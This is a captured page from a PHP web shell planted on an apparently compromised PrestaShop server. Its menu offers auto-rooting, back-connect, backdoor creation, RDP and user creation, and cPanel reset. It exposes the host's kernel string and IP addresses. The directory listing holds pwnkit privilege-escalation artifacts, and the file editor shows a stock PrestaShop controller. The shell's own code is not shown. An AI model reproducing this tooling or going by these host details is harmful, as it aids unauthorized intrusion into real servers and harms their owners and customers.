Linux node5458.myfcloud.com 6.10.2-x86_64-linode165 #1 SMP PREEMPT_DYNAMIC Tue Jul 30 15:03:21 EDT 2024 x86_64
Apache
: 45.79.123.194 | : 52.14.183.78
16 Domain
7.4.33
addify5
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
addify5 /
.trash /
controllers /
admin /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
AdminAccessController.php
7.76
KB
-rw-r--r--
AdminAttributesGroupsControlle...
39.35
KB
-rw-r--r--
AdminCarrierWizardController.p...
40.85
KB
-rw-r--r--
AdminCarriersController.php
30.75
KB
-rw-r--r--
AdminCartRulesController.php
43.34
KB
-rw-r--r--
AdminCartsController.php
44.81
KB
-rw-r--r--
AdminCountriesController.php
21.16
KB
-rw-r--r--
AdminCustomerThreadsController...
53.73
KB
-rw-r--r--
AdminDashboardController.php
20.33
KB
-rw-r--r--
AdminFeaturesController.php
24.34
KB
-rw-r--r--
AdminGendersController.php
8.7
KB
-rw-r--r--
AdminGroupsController.php
28.22
KB
-rw-r--r--
AdminImagesController.php
51.18
KB
-rw-r--r--
AdminImportController.php
236.61
KB
-rw-r--r--
AdminLegacyLayoutController.ph...
7.76
KB
-rw-r--r--
AdminLoginController.php
22.15
KB
-rw-r--r--
AdminModulesController.php
60.9
KB
-rw-r--r--
AdminModulesPositionsControlle...
26.33
KB
-rw-r--r--
AdminNotFoundController.php
1.68
KB
-rw-r--r--
AdminPdfController.php
9.03
KB
-rw-r--r--
AdminProductsController.php
161.88
KB
-rw-r--r--
AdminQuickAccessesController.p...
9.03
KB
-rw-r--r--
AdminRequestSqlController.php
21.4
KB
-rw-r--r--
AdminReturnController.php
15.09
KB
-rw-r--r--
AdminSearchConfController.php
23.51
KB
-rw-r--r--
AdminSearchController.php
25.14
KB
-rw-r--r--
AdminShopController.php
37.33
KB
-rw-r--r--
AdminShopGroupController.php
15.79
KB
-rw-r--r--
AdminShopUrlController.php
24.51
KB
-rw-r--r--
AdminSpecificPriceRuleControll...
16.26
KB
-rw-r--r--
AdminStatesController.php
12.69
KB
-rw-r--r--
AdminStatsController.php
42.92
KB
-rw-r--r--
AdminStatsTabController.php
11.64
KB
-rw-r--r--
AdminStatusesController.php
30.24
KB
-rw-r--r--
AdminStoresController.php
25.71
KB
-rw-r--r--
AdminSuppliersController.php
24.21
KB
-rw-r--r--
AdminTabsController.php
14.9
KB
-rw-r--r--
AdminTagsController.php
5.66
KB
-rw-r--r--
AdminTaxRulesGroupController.p...
22
KB
-rw-r--r--
AdminTranslationsController.ph...
148.26
KB
-rw-r--r--
BoOrder.php
1.34
KB
-rw-r--r--
DummyAdminController.php
2.35
KB
-rw-r--r--
index.php
1.34
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : AdminShopController.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ use PrestaShop\PrestaShop\Core\Addon\Theme\ThemeManagerBuilder; use PrestaShopBundle\Utils\Tree; /** * @property Shop|null $object */ class AdminShopControllerCore extends AdminController { /** @var int */ public $id_shop; /** @var int|null */ public $id_shop_group; public function __construct() { $this->bootstrap = true; $this->table = 'shop'; $this->className = 'Shop'; $this->multishop_context = Shop::CONTEXT_ALL; parent::__construct(); $this->id_shop_group = (int) Tools::getValue('id_shop_group'); /* if $_GET['id_shop'] is transmitted, virtual url can be loaded in config.php, so we wether transmit shop_id in herfs */ if ($this->id_shop = (int) Tools::getValue('shop_id')) { $_GET['id_shop'] = $this->id_shop; } $this->list_skip_actions['delete'] = [(int) Configuration::get('PS_SHOP_DEFAULT')]; $this->fields_list = [ 'id_shop' => [ 'title' => $this->trans('Shop ID', [], 'Admin.Shopparameters.Feature'), 'align' => 'center', 'class' => 'fixed-width-xs', ], 'name' => [ 'title' => $this->trans('Store name', [], 'Admin.Shopparameters.Feature'), 'filter_key' => 'a!name', 'width' => 200, ], 'shop_group_name' => [ 'title' => $this->trans('Shop group', [], 'Admin.Shopparameters.Feature'), 'width' => 150, 'filter_key' => 'gs!name', ], 'category_name' => [ 'title' => $this->trans('Root category', [], 'Admin.Shopparameters.Feature'), 'width' => 150, 'filter_key' => 'cl!name', ], 'url' => [ 'title' => $this->trans('Main URL for this shop', [], 'Admin.Shopparameters.Feature'), 'havingFilter' => 'url', ], ]; } public function getTabSlug() { return 'ROLE_MOD_TAB_ADMINSHOPGROUP_'; } public function viewAccess($disable = false) { return Configuration::get('PS_MULTISHOP_FEATURE_ACTIVE'); } public function initPageHeaderToolbar() { parent::initPageHeaderToolbar(); if (!$this->display) { if ($this->id_object) { $this->loadObject(); } if (!$this->id_shop_group && is_object($this->object) && $this->object->id_shop_group) { $this->id_shop_group = $this->object->id_shop_group; } $this->page_header_toolbar_btn['edit'] = [ 'desc' => $this->trans('Edit this shop group', [], 'Admin.Shopparameters.Feature'), 'href' => $this->context->link->getAdminLink('AdminShopGroup') . '&updateshop_group&id_shop_group=' . $this->id_shop_group, ]; $this->page_header_toolbar_btn['new'] = [ 'desc' => $this->trans('Add new shop', [], 'Admin.Shopparameters.Feature'), 'href' => $this->context->link->getAdminLink('AdminShop') . '&add' . $this->table . '&id_shop_group=' . $this->id_shop_group, ]; } } public function initToolbar() { parent::initToolbar(); if ($this->display != 'edit' && $this->display != 'add') { if ($this->id_object) { $this->loadObject(); } if (!$this->id_shop_group && $this->object && $this->object->id_shop_group) { $this->id_shop_group = $this->object->id_shop_group; } $this->toolbar_btn['new'] = [ 'desc' => $this->trans('Add new shop', [], 'Admin.Shopparameters.Feature'), 'href' => $this->context->link->getAdminLink('AdminShop') . '&add' . $this->table . '&id_shop_group=' . $this->id_shop_group, ]; } } public function initContent() { parent::initContent(); $this->addJqueryPlugin('cooki-plugin'); $data = Shop::getTree(); foreach ($data as $group_key => $group) { foreach ($group['shops'] as $shop_key => $shop) { $current_shop = new Shop($shop['id_shop']); $urls = $current_shop->getUrls(); foreach ($urls as $url) { $title = $url['domain'] . $url['physical_uri'] . $url['virtual_uri']; if (strlen($title) > 23) { $title = substr($title, 0, 23) . '...'; } $url['name'] = $title; $data[$group_key][$shop_key]['urls'][$url['id_shop_url']] = $url; } } } $shops_tree = new HelperTreeShops('shops-tree', $this->trans('Multistore tree', [], 'Admin.Shopparameters.Feature')); $shops_tree->setNodeFolderTemplate('shop_tree_node_folder.tpl')->setNodeItemTemplate('shop_tree_node_item.tpl') ->setHeaderTemplate('shop_tree_header.tpl')->setActions([ new TreeToolbarLink( 'Collapse all', '#', '$(\'#' . $shops_tree->getId() . '\').tree(\'collapseAll\'); return false;', 'icon-collapse-alt' ), new TreeToolbarLink( 'Expand all', '#', '$(\'#' . $shops_tree->getId() . '\').tree(\'expandAll\'); return false;', 'icon-expand-alt' ), ]) ->setAttribute('url_shop_group', $this->context->link->getAdminLink('AdminShopGroup')) ->setAttribute('url_shop', $this->context->link->getAdminLink('AdminShop')) ->setAttribute('url_shop_url', $this->context->link->getAdminLink('AdminShopUrl')) ->setData($data); $shops_tree = $shops_tree->render(null, false, false); if ($this->display == 'edit') { $this->toolbar_title[] = $this->object->name; } elseif (!$this->display && $this->id_shop_group) { $group = new ShopGroup($this->id_shop_group); $this->toolbar_title[] = $group->name; } $this->context->smarty->assign([ 'toolbar_scroll' => 1, 'toolbar_btn' => $this->toolbar_btn, 'title' => $this->toolbar_title, 'shops_tree' => $shops_tree, ]); } public function renderList() { $this->addRowAction('edit'); $this->addRowAction('delete'); $this->_select = 'gs.name shop_group_name, cl.name category_name, CONCAT(\'http://\', su.domain, su.physical_uri, su.virtual_uri) AS url'; $this->_join = ' LEFT JOIN `' . _DB_PREFIX_ . 'shop_group` gs ON (a.id_shop_group = gs.id_shop_group) LEFT JOIN `' . _DB_PREFIX_ . 'category_lang` cl ON (a.id_category = cl.id_category AND cl.id_lang=' . (int) $this->context->language->id . ') LEFT JOIN ' . _DB_PREFIX_ . 'shop_url su ON a.id_shop = su.id_shop AND su.main = 1 '; $this->_group = 'GROUP BY a.id_shop'; if ($id_shop_group = (int) Tools::getValue('id_shop_group')) { $this->_where = 'AND a.id_shop_group = ' . $id_shop_group; } return parent::renderList(); } public function displayAjaxGetCategoriesFromRootCategory() { if (Tools::isSubmit('id_category')) { $getId = function ($category) { return (int) $category['id_category']; }; $languageId = $this->context->language->id; $getChildren = function (array $category) use ($languageId, $getId) { return Category::getChildren($getId($category), $languageId); }; // selected categories ids. $selectedCategories = Tree::extractChildrenId( [ ['id_category' => (int) Tools::getValue('id_category')], ], $getChildren, $getId ); $helper = new HelperTreeCategories('categories-tree', null, (int) Tools::getValue('id_category'), null, false); $this->content = $helper->setSelectedCategories($selectedCategories)->setUseSearch(true)->setUseCheckBox(true) ->render(); } parent::displayAjax(); } public function postProcess() { if (Tools::isSubmit('id_category_default')) { $_POST['id_category'] = Tools::getValue('id_category_default'); } if (Tools::isSubmit('submitAddshopAndStay') || Tools::isSubmit('submitAddshop')) { $shop_group = new ShopGroup((int) Tools::getValue('id_shop_group')); if ($shop_group->shopNameExists(Tools::getValue('name'), (int) Tools::getValue('id_shop'))) { $this->errors[] = $this->trans('You cannot have two stores with the same name in the same group.', [], 'Admin.Advparameters.Notification'); } } if (count($this->errors)) { return false; } /** @var Shop|bool $result */ $result = parent::postProcess(); if ($result != false && (Tools::isSubmit('submitAddshopAndStay') || Tools::isSubmit('submitAddshop')) && (int) $result->id_category != (int) Configuration::get('PS_HOME_CATEGORY', null, null, (int) $result->id)) { Configuration::updateValue('PS_HOME_CATEGORY', (int) $result->id_category, false, null, (int) $result->id); } if ($this->redirect_after) { $this->redirect_after .= '&id_shop_group=' . $this->id_shop_group; } return $result; } /** * @return bool * * @throws PrestaShopException */ public function processDelete() { if (!Validate::isLoadedObject($object = $this->loadObject())) { $this->errors[] = $this->trans('Unable to load this store.', [], 'Admin.Advparameters.Notification'); } elseif (!Shop::hasDependency($object->id)) { $result = Category::deleteCategoriesFromShop($object->id) && parent::processDelete(); Tools::generateHtaccess(); return $result; } else { $this->errors[] = $this->trans('You cannot delete this shop (customer and/or order dependency).', [], 'Admin.Shopparameters.Notification'); } return false; } /** * @param Shop $new_shop * * @return ObjectModel|bool */ protected function afterAdd($new_shop) { $import_data = Tools::getValue('importData', []); // The root category should be at least imported $new_shop->copyShopData((int) Tools::getValue('importFromShop'), $import_data); // copy default data if (!Tools::getValue('useImportData') || (is_array($import_data) && !isset($import_data['group']))) { $sql = 'INSERT INTO `' . _DB_PREFIX_ . 'group_shop` (`id_shop`, `id_group`) VALUES (' . (int) $new_shop->id . ', ' . (int) Configuration::get('PS_UNIDENTIFIED_GROUP') . '), (' . (int) $new_shop->id . ', ' . (int) Configuration::get('PS_GUEST_GROUP') . '), (' . (int) $new_shop->id . ', ' . (int) Configuration::get('PS_CUSTOMER_GROUP') . ') '; Db::getInstance()->execute($sql); } return parent::afterAdd($new_shop); } /** * @param Shop $new_shop * * @return bool */ protected function afterUpdate($new_shop) { $categories = Tools::getValue('categoryBox'); if (!is_array($categories)) { $this->errors[] = $this->trans('Please create some sub-categories for this root category.', [], 'Admin.Shopparameters.Notification'); return false; } array_unshift($categories, Configuration::get('PS_ROOT_CATEGORY')); if (!Category::updateFromShop($categories, $new_shop->id)) { $this->errors[] = $this->trans('You need to select at least the root category.', [], 'Admin.Shopparameters.Notification'); } if (Tools::getValue('useImportData') && ($import_data = Tools::getValue('importData')) && is_array($import_data)) { $new_shop->copyShopData((int) Tools::getValue('importFromShop'), $import_data); } if (Tools::isSubmit('submitAddshopAndStay') || Tools::isSubmit('submitAddshop')) { $this->redirect_after = self::$currentIndex . '&shop_id=' . (int) $new_shop->id . '&conf=4&token=' . $this->token; } return parent::afterUpdate($new_shop); } public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) { if (Shop::getContext() == Shop::CONTEXT_GROUP) { $this->_where .= ' AND a.id_shop_group = ' . (int) Shop::getContextShopGroupID(); } parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); $shop_delete_list = []; // don't allow to remove shop which have dependencies (customers / orders / ... ) foreach ($this->_list as $shop) { if (Shop::hasDependency($shop['id_shop'])) { $shop_delete_list[] = $shop['id_shop']; } } $this->context->smarty->assign('shops_having_dependencies', $shop_delete_list); } /** * @return string|void * * @throws PrestaShopDatabaseException * @throws PrestaShopException * @throws SmartyException */ public function renderForm() { if (!($obj = $this->loadObject(true))) { return; } /* @var Shop $obj */ $this->fields_form = [ 'legend' => [ 'title' => $this->trans('Store', [], 'Admin.Global'), 'icon' => 'icon-shopping-cart', ], 'identifier' => 'shop_id', 'input' => [ [ 'type' => 'text', 'label' => $this->trans('Store name', [], 'Admin.Shopparameters.Feature'), 'desc' => [ $this->trans('This field does not refer to the shop name visible in the front office.', [], 'Admin.Shopparameters.Help'), $this->trans('Follow [1]this link[/1] to edit the shop name used on the front office.', [ '_raw' => true, '[1]' => '<a href="' . $this->context->link->getAdminLink('AdminStores') . '#store_fieldset_general">', '[/1]' => '</a>', ], 'Admin.Shopparameters.Help'), ], 'name' => 'name', 'required' => true, ], ], ]; $display_group_list = true; if ($this->display == 'edit') { $group = new ShopGroup($obj->id_shop_group); if ($group->share_customer || $group->share_order || $group->share_stock) { $display_group_list = false; } } $this->fields_form['input'][] = [ 'type' => 'color', 'label' => $this->trans('Color', [], 'Admin.Catalog.Feature'), 'name' => 'color', 'desc' => [ $this->trans('It will only be applied to the multistore header to highlight your shop context.', [], 'Admin.Shopparameters.Feature'), ], 'hint' => $this->trans('Choose a color with the color picker, or enter an HTML color (e.g. "lightblue", "#CC6600").', [], 'Admin.Catalog.Help'), ]; if ($display_group_list) { $options = []; foreach (ShopGroup::getShopGroups() as $group) { /** @var ShopGroup $group */ if ($this->display == 'edit' && ($group->share_customer || $group->share_order || $group->share_stock) && ShopGroup::hasDependency($group->id)) { continue; } $options[] = [ 'id_shop_group' => $group->id, 'name' => $group->name, ]; } if ($this->display == 'add') { $group_desc = $this->trans('Warning: You won\'t be able to change the group of this shop if this shop belongs to a group with one of these options activated: Share Customers, Share Quantities or Share Orders.', [], 'Admin.Shopparameters.Notification'); } else { $group_desc = $this->trans('You can only move your shop to a shop group with all "share" options disabled -- or to a shop group with no customers/orders.', [], 'Admin.Shopparameters.Notification'); } $this->fields_form['input'][] = [ 'type' => 'select', 'label' => $this->trans('Shop group', [], 'Admin.Shopparameters.Feature'), 'desc' => $group_desc, 'name' => 'id_shop_group', 'options' => [ 'query' => $options, 'id' => 'id_shop_group', 'name' => 'name', ], ]; } else { $this->fields_form['input'][] = [ 'type' => 'hidden', 'name' => 'id_shop_group', 'default' => isset($group) ? $group->name : '', ]; $this->fields_form['input'][] = [ 'type' => 'textShopGroup', 'label' => $this->trans('Shop group', [], 'Admin.Shopparameters.Feature'), 'desc' => $this->trans('You can\'t edit the shop group because the current shop belongs to a group with the "share" option enabled.', [], 'Admin.Shopparameters.Help'), 'name' => 'id_shop_group', 'value' => isset($group) ? $group->name : '', ]; } $categories = Category::getRootCategories($this->context->language->id); $this->fields_form['input'][] = [ 'type' => 'select', 'label' => $this->trans('Category root', [], 'Admin.Catalog.Feature'), 'desc' => $this->trans('This is the root category of the store that you\'ve created. To define a new root category for your store, [1]please click here[/1].', [ '_raw' => true, '[1]' => '<a href="' . $this->context->link->getAdminLink('AdminCategories') . '&addcategoryroot" target="_blank">', '[/1]' => '</a>', ], 'Admin.Shopparameters.Help'), 'name' => 'id_category', 'options' => [ 'query' => $categories, 'id' => 'id_category', 'name' => 'name', ], ]; if (Tools::isSubmit('id_shop')) { $shop = new Shop((int) Tools::getValue('id_shop')); $id_root = $shop->id_category; } else { $id_root = $categories[0]['id_category']; } $id_shop = (int) Tools::getValue('id_shop'); self::$currentIndex = self::$currentIndex . '&id_shop_group=' . (int) (Tools::getValue('id_shop_group') ? Tools::getValue('id_shop_group') : (isset($obj->id_shop_group) ? $obj->id_shop_group : Shop::getContextShopGroupID())); $shop = new Shop($id_shop); $selected_cat = Shop::getCategories($id_shop); if (empty($selected_cat)) { // get first category root and preselect all these children $root_categories = Category::getRootCategories(); $root_category = new Category($root_categories[0]['id_category']); $children = $root_category->getAllChildren($this->context->language->id); $selected_cat[] = $root_categories[0]['id_category']; foreach ($children as $child) { $selected_cat[] = $child->id; } } if (Shop::getContext() == Shop::CONTEXT_SHOP && Tools::isSubmit('id_shop')) { $root_category = new Category($shop->id_category); } else { $root_category = new Category($id_root); } $this->fields_form['input'][] = [ 'type' => 'categories', 'name' => 'categoryBox', 'label' => $this->trans('Associated categories', [], 'Admin.Catalog.Feature'), 'tree' => [ 'id' => 'categories-tree', 'selected_categories' => $selected_cat, 'root_category' => $root_category->id, 'use_search' => true, 'use_checkbox' => true, ], 'desc' => $this->trans('By selecting associated categories, you are choosing to share the categories between shops. Once associated between shops, any alteration of this category will impact every shop.', [], 'Admin.Shopparameters.Help'), ]; $themes = (new ThemeManagerBuilder($this->context, Db::getInstance())) ->buildRepository() ->getList(); $this->fields_form['input'][] = [ 'type' => 'theme', 'label' => $this->trans('Theme', [], 'Admin.Design.Feature'), 'name' => 'theme', 'values' => $themes, ]; $this->fields_form['submit'] = [ 'title' => $this->trans('Save', [], 'Admin.Actions'), ]; if (Shop::getTotalShops() > 1 && $obj->id) { $disabled = ['active' => false]; } else { $disabled = false; } $import_data = [ 'carrier' => $this->trans('Carriers', [], 'Admin.Shipping.Feature'), 'cms' => $this->trans('Pages', [], 'Admin.Design.Feature'), 'contact' => $this->trans('Contact information', [], 'Admin.Advparameters.Feature'), 'country' => $this->trans('Countries', [], 'Admin.Global'), 'currency' => $this->trans('Currencies', [], 'Admin.Global'), 'discount' => $this->trans('Discount prices', [], 'Admin.Advparameters.Feature'), 'employee' => $this->trans('Employees', [], 'Admin.Advparameters.Feature'), 'image' => $this->trans('Images', [], 'Admin.Global'), 'lang' => $this->trans('Languages', [], 'Admin.Global'), 'manufacturer' => $this->trans('Brands', [], 'Admin.Global'), 'module' => $this->trans('Modules', [], 'Admin.Global'), 'hook_module' => $this->trans('Module hooks', [], 'Admin.Advparameters.Feature'), 'meta_lang' => $this->trans('Meta information', [], 'Admin.Advparameters.Feature'), 'product' => $this->trans('Products', [], 'Admin.Global'), 'product_attribute' => $this->trans('Product combinations', [], 'Admin.Advparameters.Feature'), 'stock_available' => $this->trans('Available quantities for sale', [], 'Admin.Advparameters.Feature'), 'store' => $this->trans('Stores', [], 'Admin.Global'), 'warehouse' => $this->trans('Warehouses', [], 'Admin.Advparameters.Feature'), 'webservice_account' => $this->trans('Webservice accounts', [], 'Admin.Advparameters.Feature'), 'attribute_group' => $this->trans('Attribute groups', [], 'Admin.Advparameters.Feature'), 'feature' => $this->trans('Features', [], 'Admin.Global'), 'group' => $this->trans('Customer groups', [], 'Admin.Advparameters.Feature'), 'tax_rules_group' => $this->trans('Tax rules groups', [], 'Admin.Advparameters.Feature'), 'supplier' => $this->trans('Suppliers', [], 'Admin.Global'), 'zone' => $this->trans('Zones', [], 'Admin.International.Feature'), 'cart_rule' => $this->trans('Cart rules', [], 'Admin.Advparameters.Feature'), ]; // Hook for duplication of shop data $modules_list = Hook::getHookModuleExecList('actionShopDataDuplication'); if (is_array($modules_list) && count($modules_list) > 0) { foreach ($modules_list as $m) { $import_data['Module' . ucfirst($m['module'])] = Module::getModuleName($m['module']); } } asort($import_data); if (!$this->object->id) { $fields_import_form = [ 'radio' => [ 'type' => 'radio', 'label' => $this->trans('Import data', [], 'Admin.Advparameters.Feature'), 'name' => 'useImportData', 'value' => 1, ], 'select' => [ 'type' => 'select', 'name' => 'importFromShop', 'label' => $this->trans('Choose the source store', [], 'Admin.Advparameters.Feature'), 'options' => [ 'query' => Shop::getShops(false), 'name' => 'name', ], ], 'allcheckbox' => [ 'type' => 'checkbox', 'label' => $this->trans('Choose data to import', [], 'Admin.Advparameters.Feature'), 'values' => $import_data, ], 'desc' => $this->trans('Use this option to associate data (products, modules, etc.) the same way for each selected shop.', [], 'Admin.Advparameters.Help'), ]; } if (!$obj->theme_name) { $themes = (new ThemeManagerBuilder($this->context, Db::getInstance())) ->buildRepository() ->getList(); $theme = array_pop($themes); $theme_name = $theme->getName(); } else { $theme_name = $obj->theme_name; } $this->fields_value = [ 'id_shop_group' => ( Tools::getValue('id_shop_group') ? Tools::getValue('id_shop_group') : ( isset($obj->id_shop_group) ? $obj->id_shop_group : Shop::getContextShopGroupID() ) ), 'id_category' => ( Tools::getValue('id_category') ? Tools::getValue('id_category') : ( isset($obj->id_category) ? $obj->id_category : (int) Configuration::get('PS_HOME_CATEGORY') ) ), 'theme_name' => $theme_name, ]; $ids_category = []; $shops = Shop::getShops(false); foreach ($shops as $shop) { $ids_category[$shop['id_shop']] = $shop['id_category']; } $this->tpl_form_vars = [ 'disabled' => $disabled, 'checked' => (Tools::getValue('addshop') !== false) ? true : false, 'defaultShop' => (int) Configuration::get('PS_SHOP_DEFAULT'), 'ids_category' => $ids_category, ]; if (isset($fields_import_form)) { $this->tpl_form_vars = array_merge($this->tpl_form_vars, ['form_import' => $fields_import_form]); } return parent::renderForm(); } /** * Object creation * * @return Shop|void * * @throws PrestaShopDatabaseException * @throws PrestaShopException */ public function processAdd() { if (!Tools::getValue('categoryBox') || !in_array(Tools::getValue('id_category'), Tools::getValue('categoryBox'))) { $this->errors[] = $this->trans('You need to select at least the root category.', [], 'Admin.Advparameters.Notification'); } if (Tools::isSubmit('id_category_default')) { $_POST['id_category'] = (int) Tools::getValue('id_category_default'); } /* Checking fields validity */ $this->validateRules(); $this->errors = array_unique($this->errors); if (!count($this->errors)) { /** @var Shop $object */ $object = new $this->className(); $this->copyFromPost($object, $this->table); $this->beforeAdd($object); if (!$object->add()) { $this->errors[] = $this->trans('An error occurred while creating an object.', [], 'Admin.Notifications.Error') . ' <b>' . $this->table . ' (' . Db::getInstance()->getMsgError() . ')</b>'; } elseif (($_POST[$this->identifier] = $object->id) && $this->postImage($object->id) && empty($this->errors) && $this->_redirect) { // voluntary do affectation here $parent_id = (int) Tools::getValue('id_parent', 1); $this->afterAdd($object); $this->updateAssoShop($object->id); // Save and stay on same form if (Tools::isSubmit('submitAdd' . $this->table . 'AndStay')) { $this->redirect_after = self::$currentIndex . '&shop_id=' . (int) $object->id . '&conf=3&update' . $this->table . '&token=' . $this->token; } // Save and back to parent if (Tools::isSubmit('submitAdd' . $this->table . 'AndBackToParent')) { $this->redirect_after = self::$currentIndex . '&shop_id=' . (int) $parent_id . '&conf=3&token=' . $this->token; } // Default behavior (save and back) if (empty($this->redirect_after)) { $this->redirect_after = self::$currentIndex . ($parent_id ? '&shop_id=' . $object->id : '') . '&conf=3&token=' . $this->token; } } } else { $this->display = 'add'; return; } $object->associateSuperAdmins(); $categories = Tools::getValue('categoryBox'); array_unshift($categories, Configuration::get('PS_ROOT_CATEGORY')); Category::updateFromShop($categories, $object->id); if (Tools::getValue('useImportData') && ($import_data = Tools::getValue('importData')) && is_array($import_data) && isset($import_data['product'])) { ini_set('max_execution_time', '7200'); Search::indexation(true); } return $object; } public function displayEditLink($token, $id, $name = null) { if ($this->access('edit')) { $tpl = $this->createTemplate('helpers/list/list_action_edit.tpl'); if (!array_key_exists('Edit', self::$cache_lang)) { self::$cache_lang['Edit'] = $this->trans('Edit', [], 'Admin.Actions'); } $tpl->assign([ 'href' => $this->context->link->getAdminLink('AdminShop') . '&shop_id=' . (int) $id . '&update' . $this->table, 'action' => self::$cache_lang['Edit'], 'id' => $id, ]); return $tpl->fetch(); } else { return; } } public function initCategoriesAssociation($id_root = null) { if (null === $id_root) { $id_root = Configuration::get('PS_ROOT_CATEGORY'); } $id_shop = (int) Tools::getValue('id_shop'); $shop = new Shop($id_shop); $selected_cat = Shop::getCategories($id_shop); if (empty($selected_cat)) { // get first category root and preselect all these children $root_categories = Category::getRootCategories(); $root_category = new Category($root_categories[0]['id_category']); $children = $root_category->getAllChildren($this->context->language->id); $selected_cat[] = $root_categories[0]['id_category']; foreach ($children as $child) { $selected_cat[] = $child->id; } } if (Shop::getContext() == Shop::CONTEXT_SHOP && Tools::isSubmit('id_shop')) { $root_category = new Category($shop->id_category); } else { $root_category = new Category($id_root); } $root_category = ['id_category' => $root_category->id, 'name' => $root_category->name[$this->context->language->id]]; $helper = new Helper(); return $helper->renderCategoryTree($root_category, $selected_cat, 'categoryBox', false, true); } public function ajaxProcessTree() { $tree = []; $sql = 'SELECT g.id_shop_group, g.name as group_name, s.id_shop, s.name as shop_name, u.id_shop_url, u.domain, u.physical_uri, u.virtual_uri FROM ' . _DB_PREFIX_ . 'shop_group g LEFT JOIN ' . _DB_PREFIX_ . 'shop s ON g.id_shop_group = s.id_shop_group LEFT JOIN ' . _DB_PREFIX_ . 'shop_url u ON u.id_shop = s.id_shop ORDER BY g.name, s.name, u.domain'; $results = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); foreach ($results as $row) { $id_shop_group = $row['id_shop_group']; $id_shop = $row['id_shop']; $id_shop_url = $row['id_shop_url']; // Group list if (!isset($tree[$id_shop_group])) { $tree[$id_shop_group] = [ 'data' => [ 'title' => '<b>' . $this->trans('Group', [], 'Admin.Global') . '</b> ' . $row['group_name'], 'icon' => 'themes/' . $this->context->employee->bo_theme . '/img/tree-multishop-groups.png', 'attr' => [ 'href' => $this->context->link->getAdminLink('AdminShop') . '&id_shop_group=' . $id_shop_group, 'title' => $this->trans('Click here to display the shops in the %name% shop group', ['%name%' => $row['group_name']], 'Admin.Advparameters.Help'), ], ], 'attr' => [ 'id' => 'tree-group-' . $id_shop_group, ], 'children' => [], ]; } // Shop list if (!$id_shop) { continue; } if (!isset($tree[$id_shop_group]['children'][$id_shop])) { $tree[$id_shop_group]['children'][$id_shop] = [ 'data' => [ 'title' => $row['shop_name'], 'icon' => 'themes/' . $this->context->employee->bo_theme . '/img/tree-multishop-shop.png', 'attr' => [ 'href' => $this->context->link->getAdminLink('AdminShopUrl') . '&shop_id=' . (int) $id_shop, 'title' => $this->trans('Click here to display the URLs of the %name% shop', ['%name%' => $row['shop_name']], 'Admin.Advparameters.Help'), ], ], 'attr' => [ 'id' => 'tree-shop-' . $id_shop, ], 'children' => [], ]; } // Url list if (!$id_shop_url) { continue; } if (!isset($tree[$id_shop_group]['children'][$id_shop]['children'][$id_shop_url])) { $url = $row['domain'] . $row['physical_uri'] . $row['virtual_uri']; if (strlen($url) > 23) { $url = substr($url, 0, 23) . '...'; } $tree[$id_shop_group]['children'][$id_shop]['children'][$id_shop_url] = [ 'data' => [ 'title' => $url, 'icon' => 'themes/' . $this->context->employee->bo_theme . '/img/tree-multishop-url.png', 'attr' => [ 'href' => $this->context->link->getAdminLink('AdminShopUrl') . '&updateshop_url&id_shop_url=' . $id_shop_url, 'title' => $row['domain'] . $row['physical_uri'] . $row['virtual_uri'], ], ], 'attr' => [ 'id' => 'tree-url-' . $id_shop_url, ], ]; } } // jstree need to have children as array and not object, so we use sort to get clean keys // DO NOT REMOVE this code, even if it seems really strange ;) sort($tree); foreach ($tree as &$groups) { sort($groups['children']); foreach ($groups['children'] as &$shops) { sort($shops['children']); } } $tree = [[ 'data' => [ 'title' => '<b>' . $this->trans('Store groups list', [], 'Admin.Advparameters.Feature') . '</b>', 'icon' => 'themes/' . $this->context->employee->bo_theme . '/img/tree-multishop-root.png', 'attr' => [ 'href' => $this->context->link->getAdminLink('AdminShopGroup'), 'title' => $this->trans('Click here to display the list of shop groups', [], 'Admin.Advparameters.Help'), ], ], 'attr' => [ 'id' => 'tree-root', ], 'state' => 'open', 'children' => $tree, ]]; die(json_encode($tree)); } }
Close